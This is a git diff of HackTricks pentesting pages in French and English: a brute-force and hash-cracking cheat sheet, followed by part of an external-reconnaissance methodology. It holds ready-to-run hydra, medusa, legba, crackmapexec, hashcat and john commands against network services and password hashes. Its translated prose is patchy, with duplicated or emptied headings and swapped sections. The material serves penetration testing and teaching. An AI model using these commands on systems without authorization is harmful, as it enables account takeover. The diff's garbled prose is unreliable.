different username and password combinations until the correct one is found. - -#### Protection - -To protect against brute force attacks on rlogin, it is recommended to: -- Use strong and unique passwords -- Implement account lockout policies -- Monitor login attempts for unusual activity +Rlogin est un protocole de connexion à distance qui peut être attaqué en utilisant des attaques de force brute pour deviner les mots de passe des utilisateurs. Les outils couramment utilisés pour mener des attaques de force brute contre Rlogin incluent Hydra, Medusa et Ncrack. ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh ---- - #### Brute Force -Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used when the key space is small enough to be easily searched. Brute force attacks can be time-consuming but are almost always successful if given enough time. +Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used when other techniques have failed. It is a time-consuming process but can be effective if the key space is small. -##### Tools +#### Countermeasures -- Hydra -- Medusa -- Ncrack - -##### Techniques - -- Dictionary Attack -- Hybrid Attack -- Rainbow Table Attack +- Implement account lockout policies to prevent multiple login attempts. +- Use complex and long passwords to increase the key space. +- Implement multi-factor authentication to add an extra layer of security. +- Monitor login attempts for suspicious activity. ```bash hydra -L rsh:// -v -V ``` @@ -561,7 +534,7 @@ hydra -l root -P passwords.txt rtsp ### Force brute -La force brute est une technique utilisée pour tenter toutes les combinaisons possibles de mots de passe jusqu'à ce que le bon soit trouvé. C'est une méthode couramment utilisée pour attaquer les services SFTP. +La force brute est une méthode d'attaque consistant à essayer toutes les combinaisons possibles de mots de passe ou de clés privées pour accéder à un système ou un service. Cette technique est souvent utilisée pour tenter de deviner des informations d'identification SFTP. ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder @@ -569,7 +542,7 @@ legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --tar ``` ### SNMP -### SNMP +La méthode de force brute peut être utilisée pour deviner les chaînes de communauté SNMP. Les outils tels que `onesixtyone` peuvent être utilisés pour automatiser ce processus. ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] @@ -578,13 +551,9 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta ``` ### SMB -#### Brute Force +### SMB -Brute force attacks against SMB services are common and can be performed using tools like Hydra, Medusa, or Metasploit. These tools allow an attacker to try different username and password combinations until the correct one is found. It is important to use strong and complex passwords to mitigate the risk of a successful brute force attack. - -#### Dictionary Attack - -In addition to brute force attacks, dictionary attacks can also be used against SMB services. In a dictionary attack, the attacker uses a list of commonly used passwords or words from a dictionary to try to gain unauthorized access to the SMB service. It is crucial to use unique and less predictable passwords to defend against dictionary attacks. +Brute force attacks against SMB services are common and can be performed using tools like Hydra or Metasploit. These attacks involve trying different username and password combinations until the correct one is found. It is important to use strong and complex passwords to prevent successful brute force attacks. ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 @@ -592,7 +561,7 @@ legba smb --target share.company.com --username admin --password data/passwords. ``` ### SMTP -SMTP (Simple Mail Transfer Protocol) is a communication protocol for email transmission. It is widely used for sending emails over the Internet. In a brute-force attack against an SMTP server, an attacker tries to guess valid usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try different combinations until the correct one is found. It is important for organizations to implement security measures such as account lockout policies and strong password requirements to protect against brute-force attacks on SMTP servers. +### SMTP ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL @@ -611,7 +580,23 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords. #### Brute Force -Brute force attacks against SQL Server can be performed using tools like Hydra, Ncrack, or custom scripts. These tools can help automate the process of trying different combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts or alarms on the target system. It is recommended to use brute force attacks responsibly and with proper authorization. +Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try different combinations of usernames and passwords until the correct one is found. + +#### Prevention + +To prevent brute force attacks against SQL Server, you can implement the following measures: + +1. **Strong Password Policy**: Enforce a strong password policy that includes a combination of letters, numbers, and special characters. + +2. **Account Lockout Policy**: Implement an account lockout policy that locks out an account after a certain number of failed login attempts. + +3. **Multi-Factor Authentication (MFA)**: Implement MFA to add an extra layer of security to the authentication process. + +4. **Limit Login Attempts**: Limit the number of login attempts allowed within a certain time period to prevent automated brute force attacks. + +5. **Monitoring and Logging**: Monitor and log login attempts to detect and respond to suspicious activity. + +By implementing these preventive measures, you can significantly reduce the risk of brute force attacks against your SQL Server. ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -644,7 +629,7 @@ legba stomp --target localhost:61613 --username admin --password data/passwords. ``` ### Telnet -Telnet est un protocole de communication utilisé pour se connecter à des appareils distants sur un réseau. Il est souvent utilisé pour l'administration à distance des appareils réseau. Les attaques de force brute contre Telnet consistent à essayer de deviner les identifiants de connexion en essayant différentes combinaisons de noms d'utilisateur et de mots de passe. Ces attaques peuvent être automatisées à l'aide d'outils spécialisés. +Telnet est un protocole de communication utilisé pour se connecter à distance à des serveurs, routeurs et autres périphériques réseau. Il est souvent utilisé par les hackers pour effectuer des attaques de force brute en essayant de deviner les identifiants de connexion en envoyant de multiples combinaisons de noms d'utilisateur et de mots de passe. ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] @@ -663,11 +648,7 @@ legba telnet \ #### Brute Force -Brute forcing VNC involves trying all possible username and password combinations until a successful login is found. Tools like Hydra and Medusa can be used for this purpose. - -#### Protection - -To protect against brute force attacks on VNC, it is recommended to use strong, complex passwords and implement account lockout policies after a certain number of failed login attempts. Additionally, using VPNs or restricting VNC access to specific IP addresses can add an extra layer of security. +Brute force attacks against VNC servers are common due to the protocol's lack of built-in security features. Tools like Hydra and Medusa can be used to automate the process of trying different username and password combinations until the correct one is found. It is important to use strong, complex passwords and implement other security measures to protect VNC servers from brute force attacks. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -684,15 +665,15 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` ### Winrm -Winrm (Windows Remote Management) est un protocole de gestion à distance utilisé pour l'administration des systèmes Windows. +Winrm (Windows Remote Management) est un protocole de gestion à distance utilisé pour l'administration des systèmes Windows. Il peut être utilisé pour exécuter des commandes à distance sur des machines Windows. ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui : +Accédez dès aujourd'hui à : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -712,7 +693,7 @@ Accédez dès aujourd'hui : * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Consultez ceci avant d'essayer de brute force un Hash. +Consultez ceci avant d'essayer de faire une attaque par force brute sur un Hash. ### ZIP ```bash @@ -766,7 +747,7 @@ Brute force attacks consist of systematically checking all possible keys or pass #### Protection -To protect against brute force attacks, it is important to use strong and complex passwords that are not easily guessable. Additionally, implementing account lockout policies after a certain number of failed login attempts can help prevent brute force attacks. +To protect against brute force attacks, it is important to use strong and complex passwords that are not easily guessable. Implementing account lockout policies after a certain number of failed login attempts can also help prevent brute force attacks. Additionally, using multi-factor authentication can add an extra layer of security to prevent unauthorized access. ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -799,13 +780,7 @@ hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.tx ``` ### Keepass -#### Brute Force - -Brute force attacks are a common way to gain unauthorized access to a Keepass database. Attackers use automated tools to try all possible combinations of passwords until the correct one is found. This method can be time-consuming but is effective if the password is weak. - -#### Protection - -To protect against brute force attacks, it is essential to use a strong and unique password for your Keepass database. Additionally, enabling two-factor authentication can add an extra layer of security to prevent unauthorized access. Regularly updating your passwords and keeping your Keepass software up to date can also help mitigate the risk of brute force attacks. +### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -815,7 +790,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Keberoasting -Keberoasting est une technique d'attaque qui cible les services Kerberos pour extraire des tickets de service et les attaquer hors ligne. +Keberoasting est une technique utilisée pour extraire des hachages de mots de passe à partir de services tels que Kerberos en attaquant les comptes de service qui ont des comptes de service SPN (Service Principal Name) associés. ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt @@ -843,7 +818,7 @@ mount /dev/mapper/mylucksopen /mnt ``` ### Mysql -Un autre tutoriel Luks BF : [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +Un autre tutoriel de BF Luks : [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ```bash #John hash format :$mysqlna$* @@ -883,7 +858,7 @@ zip -r file.xls . # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -895,7 +870,7 @@ Accédez dès aujourd'hui : **Exemples de hash :** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) -### Identification de hash +### Identificateur de hash ```bash hash-identifier > @@ -976,7 +951,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` -* Attaque Wordlist + Masque (`-a 6`) / Masque + Wordlist (`-a 7`) +* Attaque par liste de mots + masque (`-a 6`) / Attaque par masque + liste de mots (`-a 7`) ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -988,88 +963,79 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` -## Brute Force +## Brute Forcing -### Description +### Introduction -Brute force is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. This method is often used to crack Linux hashes stored in the `/etc/shadow` file. +Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm and salt as the original hash. If the generated hash matches the target hash, the password has been successfully cracked. ### Tools -- **John the Ripper**: A popular password cracking tool that can be used for brute force attacks. -- **Hashcat**: Another powerful tool for cracking passwords using brute force and other techniques. +There are various tools available for brute forcing passwords, such as John the Ripper, Hashcat, and Hydra. These tools support different algorithms and techniques for password cracking, making them versatile and powerful options for cracking Linux hashes. ### Methodology 1. Obtain the hash from the `/etc/shadow` file. -2. Use a password cracking tool like John the Ripper or Hashcat to perform a brute force attack. -3. Configure the tool to try different combinations of characters, such as letters, numbers, and symbols. -4. Monitor the progress of the brute force attack and wait for the correct password to be found. -5. Once the password is cracked, it can be used to gain unauthorized access to the system. +2. Identify the hashing algorithm and salt used. +3. Use a brute force tool to generate potential passwords and hash them using the same algorithm and salt. +4. Compare the generated hashes with the target hash. +5. If a match is found, the password has been successfully cracked. -### Prevention +### Considerations -- Use strong, complex passwords that are less susceptible to brute force attacks. -- Implement multi-factor authentication to add an extra layer of security. -- Regularly update passwords and monitor for any unauthorized access attempts. +- Brute forcing can be time-consuming, especially for complex passwords. +- It is essential to use a good wordlist and customize the brute force settings to increase the chances of success. +- Brute forcing should be done responsibly and with proper authorization to avoid legal consequences. ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` -# Brute-Force +## Brute Forcing Windows Hashes -## Introduction +### Introduction -Brute-force attacks are a common method used to crack passwords by systematically trying all possible combinations until the correct one is found. This technique can be used to crack Windows hashes by generating potential passwords and comparing their hash values to the target hash. +When it comes to cracking Windows hashes, one of the most common methods is brute forcing. This technique involves trying all possible combinations of characters until the correct password is found. In this section, we will discuss the steps involved in brute forcing Windows hashes. -## Tools +### Tools Required -There are various tools available for performing brute-force attacks on Windows hashes, such as **John the Ripper** and **Hashcat**. These tools support different algorithms and can be customized to optimize the cracking process. +To perform a brute force attack on Windows hashes, you will need tools such as **John the Ripper** or **Hashcat**. These tools are capable of generating and testing a large number of password combinations in a short amount of time. -## Methodology +### Methodology -1. Obtain the Windows hash that you want to crack. -2. Choose a suitable tool for performing the brute-force attack. -3. Configure the tool with the necessary parameters, such as the hash type and character set. -4. Start the brute-force attack and wait for the tool to find the correct password. -5. Once the password is found, use it to gain unauthorized access to the target system. +1. **Capture the Hash**: The first step is to obtain the Windows hash that you want to crack. This can be done by extracting the hash from the Windows SAM file or by using tools like **Mimikatz** to dump the hashes from memory. -## Conclusion +2. **Choose a Wordlist**: Before starting the brute force attack, you need to select a wordlist that will be used to generate password combinations. Wordlists can be obtained from various sources or created based on common passwords and patterns. -Brute-force attacks can be an effective way to crack Windows hashes, especially if the passwords are weak or easily guessable. It is important to use strong, complex passwords to protect against these types of attacks. +3. **Run the Brute Force Attack**: Use a tool like **John the Ripper** or **Hashcat** to run the brute force attack against the captured hash. The tool will systematically try all possible password combinations until the correct one is found. + +4. **Crack the Hash**: Once the tool successfully cracks the hash, it will display the password that corresponds to the hash. This password can then be used to gain access to the Windows system. + +### Conclusion + +Brute forcing Windows hashes can be a time-consuming process, especially if the password is complex. However, with the right tools and techniques, it is possible to crack Windows hashes and gain unauthorized access to a system. It is important to use these techniques responsibly and only on systems that you have permission to test. ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` ## Brute-Force -### Introduction +### Dictionary Attacks -Brute-force attacks are a common method used to crack passwords and hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute-force attacks can be time-consuming but are often effective. +A dictionary attack involves the use of a wordlist to attempt to crack passwords. These wordlists can be obtained from various sources and may contain commonly used passwords, dictionary words, or previously leaked passwords. Tools like `hashcat` and `John the Ripper` support dictionary attacks and can be highly effective if the password is weak or commonly used. -### Tools +### Rule-Based Attacks -There are several tools available for conducting brute-force attacks, such as Hydra, John the Ripper, and Hashcat. These tools can be customized to target specific types of hashes and passwords, making them versatile for different scenarios. +Rule-based attacks involve the use of predefined rules to manipulate wordlists during the cracking process. These rules can modify words by adding numbers, special characters, or making other common password variations. Tools like `hashcat` allow users to create custom rule sets to increase the chances of cracking passwords. -### Methodology +### Hybrid Attacks -1. **Select Target**: Identify the target application or system that you want to crack the hash for. +Hybrid attacks combine dictionary attacks with brute-force attacks by adding specific patterns or characters to dictionary words. This approach can be useful when passwords have been slightly modified from dictionary words. Tools like `hashcat` support hybrid attacks and can be configured to try various combinations efficiently. -2. **Choose Tool**: Select a suitable brute-force tool based on the type of hash or password you are trying to crack. +### Mask Attacks -3. **Configure Tool**: Customize the tool settings to match the hash type and complexity of the password. - -4. **Initiate Attack**: Start the brute-force attack and let the tool run through all possible combinations. - -5. **Monitor Progress**: Keep an eye on the progress of the attack to see if any valid passwords are found. - -6. **Crack Hash**: Once the correct password is identified, use it to access the target application or system. - -### Conclusion - -Brute-force attacks can be a powerful method for cracking common application hashes. By using the right tools and following a systematic approach, hackers can successfully uncover passwords and gain unauthorized access to systems. +Mask attacks involve creating a mask that represents the password's potential format and characters. This method is useful when the password's structure is known, such as the length or specific characters used. Tools like `hashcat` allow users to define custom masks to target specific password patterns, making the cracking process more efficient. ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash @@ -1081,15 +1047,15 @@ Brute-force attacks can be a powerful method for cracking common application has ```
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks : +D'autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 7c2abf673..f75f720dc 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -10,11 +10,11 @@ Autres façons de soutenir HackTricks : * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **dépôts GitHub**. +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). @@ -22,13 +22,13 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossi ## Découvertes d'actifs -> On vous a dit que tout ce qui appartient à une entreprise est dans le périmètre, et vous voulez savoir ce que possède réellement cette entreprise. +> On vous a dit que tout ce qui appartient à une entreprise est inclus dans le périmètre, et vous voulez découvrir ce que possède réellement cette entreprise. -Le but de cette phase est d'obtenir toutes les **entreprises appartenant à l'entreprise principale** puis tous les **actifs** de ces entreprises. Pour ce faire, nous allons : +L'objectif de cette phase est d'obtenir toutes les **entreprises appartenant à l'entreprise principale** puis tous les **actifs** de ces entreprises. Pour ce faire, nous allons : -1. Trouver les acquisitions de l'entreprise principale, cela nous donnera les entreprises dans le périmètre. +1. Trouver les acquisitions de l'entreprise principale, cela nous donnera les entreprises incluses dans le périmètre. 2. Trouver l'ASN (le cas échéant) de chaque entreprise, cela nous donnera les plages d'IP possédées par chaque entreprise. -3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisations, domaines...) liées au premier (cela peut être fait de manière récursive). +3. Utiliser des recherches whois inversées pour rechercher d'autres entrées (noms d'organisations, domaines...) liées à la première (cela peut être fait de manière récursive). 4. Utiliser d'autres techniques comme les filtres shodan `org` et `ssl` pour rechercher d'autres actifs (le truc `ssl` peut être fait de manière récursive). ### **Acquisitions** @@ -37,7 +37,7 @@ Tout d'abord, nous devons savoir quelles **autres entreprises sont possédées p Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **rechercher** l'**entreprise principale**, et **cliquer** sur "**acquisitions**". Vous verrez là d'autres entreprises acquises par la principale.\ Une autre option est de visiter la page **Wikipedia** de l'entreprise principale et rechercher les **acquisitions**. -> À ce stade, vous devriez connaître toutes les entreprises dans le périmètre. Voyons comment trouver leurs actifs. +> À ce stade, vous devriez connaître toutes les entreprises incluses dans le périmètre. Voyons comment trouver leurs actifs. ### **ASNs** @@ -46,13 +46,13 @@ Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique d'acc Il est intéressant de savoir si l'**entreprise a attribué un ASN** pour trouver ses **plages d'IP**. Il sera intéressant d'effectuer un **test de vulnérabilité** contre tous les **hôtes** dans le **périmètre** et de rechercher des domaines à l'intérieur de ces IPs.\ Vous pouvez **rechercher** par le **nom de l'entreprise**, par **IP** ou par **domaine** sur [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Selon la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). De toute façon, probablement toutes les** informations utiles **(plages d'IP et Whois)** apparaissent déjà dans le premier lien. +**Selon la région de l'entreprise, ces liens pourraient être utiles pour recueillir plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages d'IP et Whois)** apparaissent déjà dans le premier lien. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` -De plus, l'**[outil BBOT](https://github.com/blacklanternsecurity/bbot)** effectue automatiquement l'énumération des sous-domaines et agrège les résumés des ASN à la fin de l'analyse. +De plus, l'énumération des sous-domaines de [**BBOT**](https://github.com/blacklanternsecurity/bbot) agrège automatiquement et résume les ASN à la fin de l'analyse. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -74,9 +74,9 @@ Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com ### **Recherche de vulnérabilités** -À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous en avez l'autorisation, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\ -De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment effectuer des tests d'intrusion sur plusieurs services possibles en cours d'exécution.\ -**De plus, il pourrait être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** forcer l'accès aux services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +À ce stade, nous connaissons **tous les actifs dans le périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\ +De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et en fonction de ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment tester de manière exhaustive plusieurs services possibles en cours d'exécution.\ +**De plus, il pourrait être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** forcer l'accès à des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Domaines @@ -111,8 +111,8 @@ Vous pouvez utiliser des outils en ligne comme : * [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Non gratuit (seulement **100 recherches gratuites**) * [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuit -Vous pouvez automatiser cette tâche en utilisant [**DomLink** ](https://github.com/vysecurity/DomLink)(nécessite une clé API whoxy).\ -Vous pouvez également effectuer une découverte automatique de reverse whois avec [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` +Vous pouvez automatiser cette tâche en utilisant [**DomLink** ](https://github.com/vysecurity/DomLink) (nécessite une clé API whoxy).\ +Vous pouvez également effectuer une découverte automatique de reverse whois avec [amass](https://github.com/OWASP/Amass) : `amass intel -d tesla.com -whois` **Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine à chaque fois que vous trouvez un nouveau domaine.** @@ -131,7 +131,7 @@ Il existe des pages et des outils qui vous permettent de rechercher ces trackers ### **Favicon** -Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon ? C'est exactement ce que l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) réalisé par [@m4ll0k2](https://twitter.com/m4ll0k2) fait. Voici comment l'utiliser : +Saviez-vous que nous pouvons trouver des domaines et sous-domaines liés à notre cible en recherchant le même hash d'icône favicon ? C'est exactement ce que l'outil [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) créé par [@m4ll0k2](https://twitter.com/m4ll0k2) fait. Voici comment l'utiliser : ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -140,11 +140,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s En termes simples, favihash nous permettra de découvrir les domaines qui ont le même hachage d'icône favicon que notre cible. -De plus, vous pouvez également rechercher des technologies en utilisant le hachage de favicon comme expliqué dans [**cet article de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hachage de l'icône favicon d'une version vulnérable d'une technologie web**, vous pouvez rechercher dans shodan et **trouver plus d'endroits vulnérables**: +De plus, vous pouvez également rechercher des technologies en utilisant le hachage de favicon comme expliqué dans [**cet article de blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Cela signifie que si vous connaissez le **hachage de l'icône favicon d'une version vulnérable d'une technologie web**, vous pouvez rechercher si dans shodan et **trouver plus d'endroits vulnérables**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` -Voici comment vous pouvez **calculer le hash du favicon** d'un site web : +Voici comment vous pouvez **calculer le hachage du favicon** d'un site web : ```python import mmh3 import requests @@ -159,7 +159,7 @@ return fhash ``` ### **Droits d'auteur / Chaîne unique** -Recherchez à l'intérieur des pages web des **chaînes qui pourraient être partagées sur différents sites web de la même organisation**. La **chaîne de droits d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne sur **Google**, dans d'autres **navigateurs** ou même dans **Shodan**: `shodan search http.html:"Chaîne de droits d'auteur"` +Recherchez à l'intérieur des pages web des **chaînes qui pourraient être partagées à travers différents sites web de la même organisation**. La **chaîne de droits d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne sur **Google**, dans d'autres **navigateurs** ou même sur **Shodan**: `shodan search http.html:"Chaîne de droits d'auteur"` ### **Temps CRT** @@ -172,7 +172,7 @@ Il est courant d'avoir une tâche cron telle que Apparemment, il est courant que les gens attribuent des sous-domaines à des adresses IP appartenant à des fournisseurs de cloud et à un moment donné **perdent cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, simplement **lancer une VM** dans un cloud (comme Digital Ocean) vous permettra en fait de **prendre le contrôle de certains sous-domaines**. -[**Cet article**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **démarre une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **recherche dans Virustotal les enregistrements de sous-domaines** pointant vers elle. +[**Cet article**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **lance une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **recherche dans Virustotal les enregistrements de sous-domaines** pointant vers elle. ### **Autres méthodes** @@ -192,7 +192,7 @@ Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir Vérifiez s'il y a une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Enregistrez-le simplement (si c'est assez bon marché) et informez l'entreprise. -Si vous 